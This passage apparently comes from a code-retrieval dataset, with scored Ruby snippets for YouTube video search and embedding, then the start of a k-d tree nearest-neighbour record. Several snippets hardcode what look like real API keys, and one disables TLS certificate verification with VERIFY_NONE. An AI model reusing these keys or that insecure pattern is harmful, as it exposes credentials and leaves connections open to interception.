videos_url \n @doc = get_root videos_url\n \n @video = @doc.elements['entry']\n end", "title": "" }, { "docid": "459aa3e71239fc9d0e86449f6c2339ee", "score": "0.63555694", "text": "def search\n\n @query = params[:search_text]\n\n @results = HTTParty.get \"https://api.themoviedb.org/3/search/movie?api_key=24d863d54c86392e6e1df55b9a328755&query=#{ @query }\"\n\n # raise 'hell'\n\n end", "title": "" }, { "docid": "a0d4fab2a24c49f605d2e061eedf1d66", "score": "0.63542134", "text": "def video_by(vid)\n video_id = vid =~ /^http/ ? vid : \"http://gdata.youtube.com/feeds/videos/#{vid}\"\n logger.debug \"Submitting request [url=#{video_id}].\" if logger\n parser = YouTubeG::Parser::VideoFeedParser.new(video_id)\n parser.parse\n end", "title": "" }, { "docid": "024988467592592e9381fbeebceb602f", "score": "0.6337009", "text": "def show\n @user = User.find_by_login(params[:user_id])\n \n #get thumnails\n @max_results = 10\n \n client = YouTubeG::Client.new\n @ytg_result = client.videos_by(:developer_tags => \"kuiqtest_#{params[:user_id]}\", :page => params[:page], :max_results => @max_results, :headers => {\"X-GData-Key\" => \"key=AI39si4PHm-0wUtYO6jVx-ywH23zI93R8nLY24NJrCUn27FCuTESwIWH1I5wQE-vj1vGXHtid9zeXWR4vmv9bw7RdvZcpqCjXg\"})\n #@ytg_result = client.videos_by(:user => \"failblog\", :page => params[:page], :max_results => @max_results, :headers => {\"X-GData-Key\" => \"key=AI39si4PHm-0wUtYO6jVx-ywH23zI93R8nLY24NJrCUn27FCuTESwIWH1I5wQE-vj1vGXHtid9zeXWR4vmv9bw7RdvZcpqCjXg\"})\n @ytg_videos = @ytg_result.videos.reverse\n \n #initialize useful variables\n @total = @ytg_result.total_result_count \n @current_page = @ytg_result.current_page\n @number_of_pages = @ytg_result.total_pages\n \n @vidvatar = @user.profile.vidvatar =~ /^[a-zA-Z0-9_-]{11}$/ && video_exists?(@user.profile.vidvatar) ? client.video_by(@user.profile.vidvatar) : client.video_by('T6LxtUgzVjk')\n \n flash[:warning] = \"Videos must be indexed by Google before appearing in your profile.\" if request.referer =~ /videos\\/new$/\n \n end", "title": "" }, { "docid": "5a60056a694d3219d749b5ce548dcdb7", "score": "0.63242817", "text": "def set_you_tube_url(keywords, searchWithQuotes)\n keywordsM = massage_keywords(keywords, searchWithQuotes)\n url = \"https://gdata.youtube.com/feeds/api/videos?category=\" <<\n \"#{CATEGORIES}&q=#{keywordsM}#{MORE_KEYWORDS}&v=#{VERSION}\" <<\n \"&key=#{DEVELOPER_KEY}&alt=#{CALLBACK}\" <<\n \"&orderby=#{ORDER_BY}&max-results=#{MAX_RESULTS}\"\n end", "title": "" }, { "docid": "952be3c4ff561daecbfd9fedf5928def", "score": "0.6323104", "text": "def test_youtube\r\n #download_test('http://www.youtube.com/watch?v=CFw6s0TN3hY')\r\n download_test_other_tools('http://www.youtube.com/watch?v=9uDgJ9_H0gg') # this video is only 30 KB\r\n end", "title": "" }, { "docid": "5355d1d9ee88ba1935e0324561a529c1", "score": "0.6315068", "text": "def index\n @search = YoutubeMovie.search(params[:q])\n @youtubemovies = @search.result.order(\"id DESC\").page(params[:page]).per(25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @youtubemovies }\n end\n end", "title": "" }, { "docid": "47cbab6d780e5c602a2528a504b7150c", "score": "0.6312133", "text": "def video\n results.select{|t|t.track_type == \"Video\"}\n end", "title": "" }, { "docid": "1eb5ec7fc9a0836389c7a805c9bc6b2b", "score": "0.6302711", "text": "def youtube_embed(youtube_url)\r\n if youtube_url[/youtu\\.be\\/([^\\?]*)/]\r\n youtube_id = $1\r\n else\r\n # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\r\n youtube_url[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\r\n youtube_id = $5\r\n end\r\n\t%Q{<iframe title=\"YouTube video player\" width=\"640\" height=\"390\" src=\"https://www.youtube.com/embed/#{ youtube_id }\" frameborder=\"0\" allowfullscreen></iframe>}\r\nend", "title": "" }, { "docid": "d1c46a9fb227978180d80842810bbc30", "score": "0.63003755", "text": "def find_video_links(webpageHTML)\r\n expression = /\"(\\/sporty-v.*?)\" target/\r\n webpageHTML.scan expression\r\nend", "title": "" }, { "docid": "bcaced07f4f4eecfcc7163000de3d292", "score": "0.62968034", "text": "def videos_by_playlist(params)\n params[:page] = integer_or_default(params[:page], 1)\n\n unless params[:max_results]\n params[:max_results] = integer_or_default(params[:per_page], 25)\n end\n\n unless params[:offset]\n params[:offset] = calculate_offset(params[:page], params[:max_results] )\n end\n\n request = YouTubeG::Request::PlaylistVideoSearch.new(params)\n\n logger.debug \"Submitting request [url=#{request.url}].\" if logger\n if params[:playlist_video_id] and params[:playlist_id]\n parser = YouTubeG::Parser::PlaylistVideoFeedParser.new(request.url)\n parser.parse(params[:playlist_id])\n else\n parser = YouTubeG::Parser::PlaylistVideosFeedParser.new(request.url)\n parser.parse\n end\n end", "title": "" }, { "docid": "922f348dca89ddb19bfacb4ba4c6f092", "score": "0.6296703", "text": "def test_youtube\r\n download_test('http://www.youtube.com/watch?v=CFw6s0TN3hY')\r\n download_test_net_http('http://www.youtube.com/watch?v=9uDgJ9_H0gg') # this video is only 30 KB\r\n end", "title": "" }, { "docid": "92be588008e179cc79d324433dc98a96", "score": "0.62922055", "text": "def show\n @url = '//www.youtube.com/embed/'[email protected]_id\n if @video.mooc\n p = @video.position\n size = @video.mooc.videos.size\n if p < size && p > 1\n @next_video = @video.mooc.videos.find_by(position:p+1)\n @previous_video = @video.mooc.videos.find_by(position:p+1)\n elsif p == 1\n @next_video = @video.mooc.videos.find_by(position:p+1)\n elsif p == size\n @previous_video = @video.mooc.videos.find_by(position:p-1)\n end\n end\n end", "title": "" }, { "docid": "b89ddf8171baeea305180f3ea3ab3b95", "score": "0.62767", "text": "def youtube_id\n query_string = URI.parse(self.youtube_url).query\n parameters = Hash[URI.decode_www_form(query_string)]\n parameters['v']\n end", "title": "" }, { "docid": "52787fe353fd10e16f15945c6ce645b1", "score": "0.6237396", "text": "def extract_youtube_code\n url = self.url\n\n url = URI(url)\n query = CGI.parse(url.query)\n query['v'].first\n end", "title": "" }, { "docid": "5aab83a2b65a551fa1672bc458ce817f", "score": "0.6227795", "text": "def youtube_embed\n if self.video[/youtu\\.be\\/([^\\?]*)/]\n youtube_id = $1\n else\n # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n self.video[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n youtube_id = $5\n end\n if youtube_id\n return \"http://www.youtube.com/embed/\"+youtube_id+\"?wmode=transparent\" \n else\n return \"\"\n end\n end", "title": "" }, { "docid": "21439fb448f9cbe858ab4ef6f2985e46", "score": "0.62139964", "text": "def get_youtube_id\n respond_to do |format|\n format.json do\n if params[:type] == \"movie\"\n search_term = params[:title] + \" trailer\"\n else\n search_term = params[:title] + \" \" + params[:artist]\n end\n headers = { \"content-length\" => \"0\", \"user-agent\" => \"Yt::Request (gzip)\" }\n query_hash = { maxResults: 1, q: search_term, type: \"video\", key: \"AIzaSyDEuXqr2zOm0_Jp4U0nTrqdHr3cISNAI10\", part: \"snippet\" }\n response = HTTParty.get(\"https://www.googleapis.com/youtube/v3/search\", :query => query_hash, :headers => headers)\n render json: [response[\"items\"][0][\"id\"][\"videoId\"]]\n end\n end\n end", "title": "" }, { "docid": "3db5eb96fb7e62db754b500a45d723df", "score": "0.621053", "text": "def youtube_embed(youtube_url)\n if youtube_url[/youtu\\.be\\/([^\\?]*)/]\n youtube_id = $1\n else\n # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n youtube_url[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n youtube_id = $5\n end\nend", "title": "" }, { "docid": "92f9e8a5d28dcf3b03117e958f014afd", "score": "0.62071466", "text": "def find\n @youtube = Mokio::Youtube.new\n @yt = params[:yt]\n @content_id = @edited_gallery.id\n @video = Mokio::Youtube.find_movie(@yt)\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "33cdabefd7f345b50cc5abd8e11e4d4d", "score": "0.6203157", "text": "def get_all_videos\n # get the first set of results\n video_list = []\n start_index = 1\n response = YouTubeApiCallsHelper.get_video_list(start_index)\n YouTubeApiCallsHelper.parse_video_list(response.body, video_list)\n total_results = YouTubeApiCallsHelper.get_total_results(response.body)\n\n if video_list.length < total_results\n start_index += YouTubeApiCallsHelper::MAXRESULTS\n\n # if there are more results to fetch, loop till we have them all\n while video_list.length < total_results\n response = YouTubeApiCallsHelper.get_video_list(start_index)\n count = YouTubeApiCallsHelper.parse_video_list(response.body, video_list)\n start_index += count\n\n # we have seen instances in testing where it appears that there are more results\n # but when the results are parsed nothing is returned (count == 0). This could result\n # in an infinite loop so we add the check for count == 0.\n if start_index >= total_results || count == 0\n break\n end\n\n end\n end\n\n return video_list\n end", "title": "" }, { "docid": "409e82651a4c1189af9b9e0b6dee001c", "score": "0.61789334", "text": "def youtube_embed(youtube_url)\n if youtube_url[/youtu\\.be\\/([^\\?]*)/]\n youtube_id = $1\n else\n # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n youtube_url[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n youtube_id = $5\n end\n\n %Q{<iframe title=\"YouTube video player\" width=\"640\" height=\"390\" src=\"https://www.youtube.com/embed/#{ youtube_id }\" frameborder=\"0\" allowfullscreen></iframe>}\nend", "title": "" }, { "docid": "8130113eb15fb6b01cd14aa1db976927", "score": "0.6171493", "text": "def youtube_embed(youtube_url)\n\tif youtube_url[/youtu\\.be\\/([^\\?]*)/]\n\t youtube_id = $1\n\telse\n\t # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n\t youtube_url[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n\t youtube_id = $5\n\tend\n \n\t%Q{<iframe title=\"YouTube video player\" width=\"640\" height=\"390\" src=\"https://www.youtube.com/embed/#{ youtube_id }\" frameborder=\"0\" allowfullscreen></iframe>}\nend", "title": "" }, { "docid": "4250dedad96ba18a5a01d042491e183b", "score": "0.61681706", "text": "def index\n @youtube_urls = YoutubeUrl.all\n end", "title": "" }, { "docid": "97afa5e56228c81e3221d1cc7c7e379a", "score": "0.6154377", "text": "def youtube_embed(youtube_url)\n if youtube_url[/youtu\\.be\\/([^\\?]*)/]\n youtube_id = $1\n else\n # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n youtube_url[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n youtube_id = $5\n end\n html = \"\"\n html += %Q{<iframe title=\"YouTube video player\" width=\"auto\" height=\"auto\" src=\"http://www.youtube.com/embed/#{ youtube_id }\" frameborder=\"0\" allowfullscreen></iframe>}\n html.html_safe\n end", "title": "" }, { "docid": "2904d11875f0106d64c60e945bc3229b", "score": "0.61453193", "text": "def find_video_details\n video_response = HTTParty.get('https://youtube.googleapis.com/youtube/v3/videos', query: {part: 'snippet,contentDetails', id: video_id, key: ENV.fetch('YOUTUBE_V3_API_KEY')})\n if (video_response.ok?)\n channel_respone = HTTParty.get('https://youtube.googleapis.com/youtube/v3/channels', query: {part: 'snippet', id: video_response.dig('items', 0, 'snippet', 'channelId'), key: ENV.fetch('YOUTUBE_V3_API_KEY')})\n {\n title: video_response.dig('items', 0, 'snippet', 'title'),\n duration: find_duration(video_response.dig('items', 0, 'contentDetails', 'duration')),\n owner: channel_respone.dig('items', 0, 'snippet', 'title'),\n id: video_id\n }\n end\n end", "title": "" }, { "docid": "b02784e3ad8cdfd173b91ac1048b26fe", "score": "0.6142939", "text": "def youtube_code\n\t\treturn if video.nil?\n\t\t\t\n\t\t\t# This is the code that mike taught me but it didn't recognize nil or youtube share link with / characters\n\t\t\t# url = URI.parse(video)\n\t\t\t# url.query.split('=').last\n\t\t\n\t\turl = URI.parse(video)\n\t\turl.query.try(:split, '=').try(:last) || self.video.try(:split, '/').try(:last) \n\tend", "title": "" }, { "docid": "9cfddde95570028b7794724845a985fa", "score": "0.6138878", "text": "def handle_youtube(element)\n handle_media(element, {\n media_type: 'iframe',\n host: '(https?:)?\\\\/\\\\/.*youtu.*',\n id: '(?<=\\\\?v\\\\=|embed\\\\/|\\\\.be\\\\/)([a-zA-Z0-9\\\\_\\\\-]+)',\n base_url: \"https://www.youtube.com/embed/\"\n })\n end", "title": "" }, { "docid": "ba8e4a8f89c8f42dee5aaa3b9b28050b", "score": "0.6137231", "text": "def youtube_video(url)\n render :partial => 'shared/video', :locals => { :url => url }\n end", "title": "" }, { "docid": "ee51745fb06d5d35640c49321db334e0", "score": "0.6133951", "text": "def youtube( video_id, size = [425,350] )\n\tif feed?\n\t\t%Q|<div class=\"youtube\"><a href=\"//www.youtube.com/watch?v=#{video_id}\">YouTube (#{video_id})</a></div>|\n\telse\n\t\t<<-TAG\n\t\t<div class=\"youtube-player-wrapper\">\n\t\t<iframe class=\"youtube-player\" type=\"text/html\" width=\"#{size[0]}\" height=\"#{size[1]}\" src=\"//www.youtube.com/embed/#{video_id}\" frameborder=\"0\">\n\t\t</iframe>\n\t\t</div>\n\t\tTAG\n\tend\nend", "title": "" }, { "docid": "d1bc06cc3e4f1f920af5ac342a38da54", "score": "0.6130671", "text": "def handle_youtube(content)\n handle_media(content, {\n media_type: 'iframe',\n host: '(https?:)?\\\\/\\\\/.*youtu.*',\n id: '(?<=\\\\?v\\\\=|embed\\\\/|\\\\.be\\\\/)([a-zA-Z0-9\\\\_\\\\-]+)',\n base_url: \"https://www.youtube.com/embed/\"\n })\n end", "title": "" }, { "docid": "5e4b916be84a6c3791b0a3f122e3da4b", "score": "0.6129203", "text": "def index\r\n @max_results = 5\r\n \r\n @ytg_result = YouTubeG::Client.new.videos_by(:developer_tags => [:kuiqtest], :page => params[:page], :max_results => @max_results, :headers => {\"X-GData-Key\" => \"key=AI39si4PHm-0wUtYO6jVx-ywH23zI93R8nLY24NJrCUn27FCuTESwIWH1I5wQE-vj1vGXHtid9zeXWR4vmv9bw7RdvZcpqCjXg\"})\r\n #@ytg_result = client.videos_by(:user => 'failblog', :page => params[:page], :max_results => @max_results, :headers => {\"X-GData-Key\" => \"key=AI39si4PHm-0wUtYO6jVx-ywH23zI93R8nLY24NJrCUn27FCuTESwIWH1I5wQE-vj1vGXHtid9zeXWR4vmv9bw7RdvZcpqCjXg\"})\r\n @ytg_videos = @ytg_result.videos.reverse\r\n \r\n @current_page = @ytg_result.current_page\r\n @number_of_pages = @ytg_result.total_pages\r\n @total = @ytg_result.total_result_count\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @result }\r\n end\r\n end", "title": "" }, { "docid": "ed25b0f60262ee260fc987614ae5c156", "score": "0.61246854", "text": "def search_food_videos(opts = {})\n data, _status_code, _headers = search_food_videos_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "c235ffc067aba11576cd746fe3474554", "score": "0.6120571", "text": "def video_url_regexp\n /\\Ahttps?:\\/\\/www\\.youtube\\.com|\\Ahttps?:\\/\\/youtu\\.be|www\\.youtube.com\\/embed|\\Ahttps?:\\/\\/vimeo\\.com|player\\.vimeo\\.com\\/video/\n end", "title": "" }, { "docid": "b073c88324fa06215eb425503e77aea8", "score": "0.6101112", "text": "def getYTid(url)\n url.match(/youtube.com.*(?:\\/|v=)(\\w+)/)[1]\nend", "title": "" }, { "docid": "576aac09c1ed7d22a7c2eef83f6c95bb", "score": "0.60942376", "text": "def get_video_iframe(url, width = \"auto\", height = \"auto\")\n\t\tget_youtube_iframe(url, width, height) \n\tend", "title": "" }, { "docid": "4ee9a2c28ce498fb26527406c08c13ab", "score": "0.60870373", "text": "def uri\n \"http://www.youtube.com/watch?v=#{youtube_video_id}\"\n end", "title": "" }, { "docid": "1793c5852e69f46a800219d83eb306cf", "score": "0.60731333", "text": "def get_youtube_video_id(url)\n # find id\n result = url.match /https*\\:\\/\\/.*youtube\\.com\\/watch\\?v=(.*)/\n # return id or nil\n result ? result[1] : nil\n end", "title": "" }, { "docid": "56905f3473780ad4f6613932a080e61d", "score": "0.6067945", "text": "def open\n @url = @@youtube_search_base_url\n @url += \"?s=#{@browse}\"\n @url += \"&t=#{@time}\"\n @url += \"&c=#{@category}\"\n @url += \"&l=#{@language}\"\n @url += \"&p=#{@page}\"\n @html = Kernel.open(@url).read\n @search_result = Hpricot.parse(@html)\n end", "title": "" }, { "docid": "39a1ab9eff8bc82146628238fec82ba2", "score": "0.60608685", "text": "def youtube message\n if ( message =~ /youtube.com\\/watch\\?v=.*/ || message =~ /youtu\\.be\\//)\n #https\n if(message =~ /https/)\n m = URI.extract(message, \"https\")[0]\n vid = parse_youtube m.gsub(/https/, \"http\")\n puts vid\n else\n m = URI.extract(message, \"http\")[0]\n vid = parse_youtube m\n puts vid\n end\n begin\n source = open(\"https://gdata.youtube.com/feeds/api/videos/\" + vid + \"?v=2&alt=json\", :ssl_verify_mode => OpenSSL::SSL::VERIFY_NONE).read\n result = JSON.parse(source)\n msg channel, \"\u00031,0You\u00030,4Tube\u0003 - \" + result[\"entry\"][\"title\"][\"$t\"].to_s + \", \" + result[\"entry\"][\"author\"][0][\"name\"][\"$t\"].to_s\n rescue => e\n case e\n when OpenURI::HTTPError\n puts \"HTTP error\"\n puts \"Probably invalid video\"\n when SocketError\n puts \"Socket error\"\n else\n raise e\n end\n end\n end\nend", "title": "" }, { "docid": "dd57f8132865079a09d3e5844a5776a4", "score": "0.6058141", "text": "def get_video_urls(feed_url)\n Youtube.notify \"Retrieving videos...\"\n urls_titles = {}\n result_feed = Nokogiri::XML(open(feed_url))\n urls_titles.merge!(grab_urls_and_titles(result_feed))\n\n #as long as the feed has a next link we follow it and add the resulting video urls\n loop do\n next_link = result_feed.search(\"//feed/link[@rel='next']\").first\n break if next_link.nil?\n result_feed = Nokogiri::HTML(open(next_link[\"href\"]))\n urls_titles.merge!(grab_urls_and_titles(result_feed))\n end\n\n filter_urls(urls_titles)\n end", "title": "" }, { "docid": "547a528f48bbd4c341de10ee0b82cf9f", "score": "0.6051746", "text": "def grab_videos(vid_num = 10) # Default is 10 videos total\n batch = '?page[size]=' + @page_size.to_s\n headers = @params['headers']\n while @vids.length < vid_num\n puts 'Grabbing video batch #' + @page_counter.to_s\n page = '&page[num]=' + @page_counter.to_s\n sub_api_url = @params['base_url'] + batch + page + '&fields=reach,title,youtube_url'\n\n getty = Planetoftheapis.new(headers: headers, meth: 'Get', params: {}, url: sub_api_url).api_call\n check_api_response(getty)\n something_went_wrong if @vids['error'] == true\n getty['response']['_embedded']['media-items'].each do |vid|\n # skip invalid urls and ignore playlists for now\n next unless vid['youtube_url'] =~ /\\Ahttps:\\/\\/www.youtube.com\\/watch\\?v=/\n check_video(vid)\n end\n @page_counter = @page_counter + 1\n end\n return @vids\nend", "title": "" }, { "docid": "bb0dcc3352061e949d1fa5a75d0ab0f6", "score": "0.6041131", "text": "def youtube_embed_url\n base_url = 'https://www.youtube.com/embed/'\n video_id = if video.include?('watch')\n URI.decode_www_form(URI(video).query).to_h.fetch('v')\n else\n video.split('/').last\n end\n \"#{base_url}#{video_id}\"\n end", "title": "" }, { "docid": "bdbe5a2945b7d6d2270da8c1228d6c83", "score": "0.6016934", "text": "def get_file(page)\n video_id = page.split(\"=\")[1]\n puts \"finding url\"\n url = nil\n page = open(\"http://www.youtube.com/watch?v=#{video_id}\").read\n t = /, \"t\": \"([^\"]+)\"/.match(page)[1]\n url = \"http://www.youtube.com/get_video?video_id=#{video_id}&t=#{t}\"\n return url\n end", "title": "" }, { "docid": "0392a15bdc0470df6eddc369cd45cf6a", "score": "0.60104257", "text": "def get_youtube_video(id)\n begin\n resp_body = (HTTParty.get \"https://gdata.youtube.com/feeds/api/videos/#{id}?v=2&alt=json\").body\n title = (JSON.parse resp_body)['entry']['title']['$t']\n rescue\n title = \"Title wasn't found\"\n end\n # render html for youtube video embed\n \"<div class='video-title'>#{title}</div><iframe width='420' frameborder='0' height='315'\"+\n \" src='https://www.youtube-nocookie.com/embed/#{id.to_s}' allowfullscreen></iframe>\"\n end", "title": "" }, { "docid": "3309a80767e1751148374cab3594440f", "score": "0.6007664", "text": "def youtube_video_code\n html = self.ObjectHtml\n if html.match(/(?:.+?)?(?:\\/v\\/|watch\\/|\\?v=|\\&v=|youtu\\.be\\/|\\/v=|^youtu\\.be\\/|embed\\/|watch\\%3Fv\\%3D)([a-zA-Z0-9_-]{11})/) || html.match(/(iframe)(.*)(src=)('|\")(https:\\/\\/www\\.youtube\\.com\\/embed)/)\n html.split(/([a-zA-Z0-9_-]{11})/)[1]\n else\n nil\n end\n end", "title": "" }, { "docid": "9ffa888571fcb4b1dd405d654064a20f", "score": "0.5994129", "text": "def embedded_video s\n %(<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/#{video_id s}?rel=0\" frameborder=\"0\" allowfullscreen></iframe>)\n end", "title": "" }, { "docid": "742e88e1c3020febea8054e4f37ee821", "score": "0.5984206", "text": "def index\n if params[:tag_id]\n v = Tag.find(params[:tag_id]).videos\n @tag_id = params[:tag_id]\n else\n v = Video\n end \n if I18n.locale.to_s == \"en\"\n @videos = v.video_by_type(\"Youtube\")\n elsif I18n.locale.to_s == \"zh-CN\"\n @videos = v.video_by_type(\"Youku\")\n end\n end", "title": "" }, { "docid": "de2d5a019643712883b5ea1de7094b10", "score": "0.5981207", "text": "def index\n if params[:search].present?\n @videos = Video.where('LOWER(title) ILIKE ?', \"%#{params[:search].downcase}%\")\n else\n @videos = Video.all\n end\n @videos = @videos.order('created_at desc').paginate(:page => params[:page])\n end", "title": "" }, { "docid": "6c25bc2bf3b486d96fb1d74c8b02db9f", "score": "0.5960782", "text": "def video\n youtube_params = \"?autoplay=1&showinfo=0&autohide=1&controls=0&playlist=skf8mvqFqSo&loop=1\"\n return \"//www.youtube.com/embed/\" + @weekly_draw[\"video_id\"] + youtube_params\n end", "title": "" }, { "docid": "3f265d8d3ae32a40898be013046af8de", "score": "0.5925518", "text": "def update_youtube_links(content)\n html = Nokogiri::HTML(content)\n html.css('a').each do |l|\n if l[\"href\"].to_s.match(/^((?:https?:)?\\/\\/)?((?:www|m)\\.)?((?:youtube\\.com|youtu.be))(\\/(?:[\\w\\-]+\\?v=|embed\\/|v\\/)?)([\\w\\-]+)(\\S+)?$/i)\n video_id = $5\n l[\"target\"] = \"_blank\"\n l[\"class\"] ||= \"\"\n l[\"class\"] += \" start-video\"\n l[\"data-videoid\"] = video_id\n l[\"href\"] = play_video_url(video_id)\n end\n end\n html\n end", "title": "" }, { "docid": "ff091d648f3bfc38050518fdbdea8e5e", "score": "0.5923017", "text": "def tube_get(url)\n begin\n data = Nokogiri::HTML(open(url))\n title = data.at_css('#eow-title').text.strip if data.at_css('#eow-title').text.strip\n views = data.at_css('.watch-view-count').text.strip if data.at_css('.watch-view-count').text.strip\n likes = data.at_css('.likes-count').text.strip if data.at_css('.likes-count').text.strip\n dislikes = data.at_css('.dislikes-count').text.strip if data.at_css('.dislikes-count').text.strip\n say_to_chan(\"\\2Youtube - #{title}\\2 - #{views} views - likes up/down at #{likes}/#{dislikes}\")\n rescue\n tell_chan_title(url)\n end\n end", "title": "" }, { "docid": "36fad8c0993e5b39e498e35024e67d83", "score": "0.592185", "text": "def printvideos(vids)\n vids.each do |video|\n puts \"\\n#{video.name} +#{video.rating.up} -#{video.rating.down}\\n\\t#{video.description}\\n\\t#{video.uploader}\\n\\thttp://www.youtube.com/watch?v=#{video.id}\"\n end\nend", "title": "" }, { "docid": "a23c26b1f574cb01e4c215ea26484ca2", "score": "0.5919107", "text": "def get_videos videos_url\n @videos = [] if @videos.nil?\n doc.elements.each('entry') do |v|\n @videos << Video.new(:video => v)\n end\n end", "title": "" }, { "docid": "6425b819a3a621f6972ad812ac08fce3", "score": "0.5912647", "text": "def video_source\n regex_youtube = VIDEO_REGEX\n if regex_youtube.match(self.video_url)\n protocol = $1\n youtube_id = $4\n video_source = \"#{protocol}://www.youtube.com/embed/#{youtube_id}?rel=0&hd=1\"\n else\n video_source = \"\"\n end\n end", "title": "" }, { "docid": "26ec9074308a233b9f196c65382bd362", "score": "0.5911956", "text": "def youtube_shorten\n if self.youtube_video\n self.youtube_video = self.youtube_video.sub(/^.*http:\\/\\/www.youtube.com\\/\\w+\\/([^ ]+).*$/, '\\1')\n end\n end", "title": "" }, { "docid": "211acb03caec24c295fd1012ee9c2762", "score": "0.59105533", "text": "def find_video_by_url(video_url)\n # Authentication is optional for this request\n authenticate if could_authenticate? and !authenticated?\n \n request = Viddler::Request.new(:get, 'videos.getDetailsByUrl')\n request.run do |p|\n p.sessionid = @session_id if authenticated?\n p.api_key = @api_key\n p.url = video_url \n end\n Viddler::Video.new(request.response['video'])\n end", "title": "" }, { "docid": "c9637eaf9f675800c8ba9faffa022f92", "score": "0.59058017", "text": "def youtube_id_from(url)\n url =~ /watch\\?v=(.*)/\n video_id = $1\n video_id = video_id.split(\"&\")[0] #ghetto\n return video_id\nend", "title": "" }, { "docid": "f28bf67ca83e41d970fb5ecd9b965b36", "score": "0.59030634", "text": "def related\n render_404 and return unless params[:youtube_id].present?\n\n url = \"https://gdata.youtube.com/feeds/api/videos/#{params[:youtube_id]}/related?v=2&alt=json&max-results=50\"\n recs = Rails.cache.fetch( url , :expires_in => 1.day ) do\n response = YoutubeApi.v2_authorized_request( url, nil )\n response.parsed_response[\"feed\"][\"entry\"].map{ |entry| parse_v2_video_response( entry ) }\n end\n \n respond_to do |format|\n format.json { render :json => recs, :callback => params[:callback] }\n end\n end", "title": "" }, { "docid": "12edf62e826fa05a340cc66bb3804283", "score": "0.59012574", "text": "def index\n # @videos = Video.search(params[:search], params[:id]).order(:cached_votes_total=> :desc)\n if params[:search]\n @videos = Video.where('title LIKE ?', \"%#{params[:search]}%\")\n else\n @ip = request.remote_ip\n Beenheretracker.create(:ipaddress => @ip)\n @beenhere = Beenheretracker.find_by(ipaddress: @ip)\n @videos = Video.order(title: :asc).paginate(:page => params[:page], :per_page => 6)\n if @videos \n \n else\n @videos = Video.all\n end\n end\n end", "title": "" }, { "docid": "c59d1207d2826c82c3826e726f043a64", "score": "0.5895242", "text": "def index\n page = params[:page] || 1\n @raw_youtubes = RawYoutube.page\n end", "title": "" }, { "docid": "324419592e9f88c8339579f9a45f58be", "score": "0.5883203", "text": "def show\n @video = Youtube.find_by_id(params[:id]) rescue nil\n flash[:message] = \"Sorry the video is not found at Youtube\" and redirect_to user_youtubes_path(current_user) unless @video\n end", "title": "" }, { "docid": "71b80cc18e8415b3b1ea942f20f73dbf", "score": "0.58713514", "text": "def video_params\n params.require(:video).permit(:name, :artist, :link_video, :searchv)\n end", "title": "" }, { "docid": "df0b6d0418b1b0921a926a0459ff787d", "score": "0.5866605", "text": "def show\n # make GET request to YouTube API -> get yt_video_id\n # if there's only a params[:yt_url] then we need to get one video id\n begin\n if params[:id] == nil\n raise ActiveRecord::RecordNotFound.new \"No id\"\n else\n @video = Video.find(params[:id])\n end\n rescue ActiveRecord::RecordNotFound\n @err = \"Sorry, we couldn't find a video with that YouTube link.\"\n @video_id = params[:id]\n render \"err\"\n else\n @all_tracks = @video.get_all_desc_tracks\n @yt_info = @video.video_info\n @langs = build_lang_list_as_html\n render \"request_video\" if @all_tracks.empty?\n end\n end", "title": "" }, { "docid": "6059a56ef9c0bd892a2ce8d58c2982a7", "score": "0.5864711", "text": "def external_video(type)\n results = Array.new\n self.external_videos.each do |obj|\n if type.to_s == obj.label\n results << obj\n end\n end\n return results\n end", "title": "" } ]
a2d196f9f1b7a77130550edf01966bf8
Do we need to search the other side of our axis? Or is the target node too far from the axis that we know there can't be anything closer? We need to check the other side if the best distance so far is larger than the distance from target node to my splitting axis (i.e., does a hypersphere of radius bestk cross the splitting axis or not).
[ { "docid": "42251d256102cba44010197f9323f95e", "score": "0.7080867", "text": "def axis_too_far_from(target, bestk)\n target_to_axis_d = if @axis == 0\n @value.x - target.x\n elsif @axis == 1\n @value.y - target.y\n elsif @axis == 2\n @value.z - target.z\n else\n @value[@axis] - target[@axis]\n end\n\n target_to_axis_d_sq = target_to_axis_d * target_to_axis_d\n bestk.worst.distance < target_to_axis_d_sq\n end", "title": "" } ]
[ { "docid": "50ecfca1ea8c3e71977f506d12a5ca51", "score": "0.71507066", "text": "def axis_too_far_from(target, bestk)\n target_to_axis_d = if @axis == 0\n @value.x - target.x\n else\n @value.y - target.y\n end\n target_to_axis_d_sq = target_to_axis_d * target_to_axis_d\n bestk.worst.distance < target_to_axis_d_sq\n end", "title": "" }, { "docid": "e9415cef0bf3b3f5d2138d54aad95789", "score": "0.70492756", "text": "def axis_too_far_from(target, bestk)\n target_to_axis_d = case @axis\n when 0 then @value.x - target.x\n when 1 then @value.y - target.y\n when 2 then @value.z - target.z\n else @value[@axis] - target[@axis]\n end\n\n target_to_axis_d_sq = target_to_axis_d * target_to_axis_d\n bestk.worst.distance < target_to_axis_d_sq\n end", "title": "" }, { "docid": "9465356c307d558a32185ef3334b032b", "score": "0.6559048", "text": "def _nearest_k(target_point, bestk)\n my_result = SearchResult.new(@value, target_point.distance_sq(@value))\n if self.leaf?\n bestk.add(my_result)\n return\n end\n\n cmp = if @axis == 0\n target_point.x <=> @value.x\n elsif @axis == 1\n 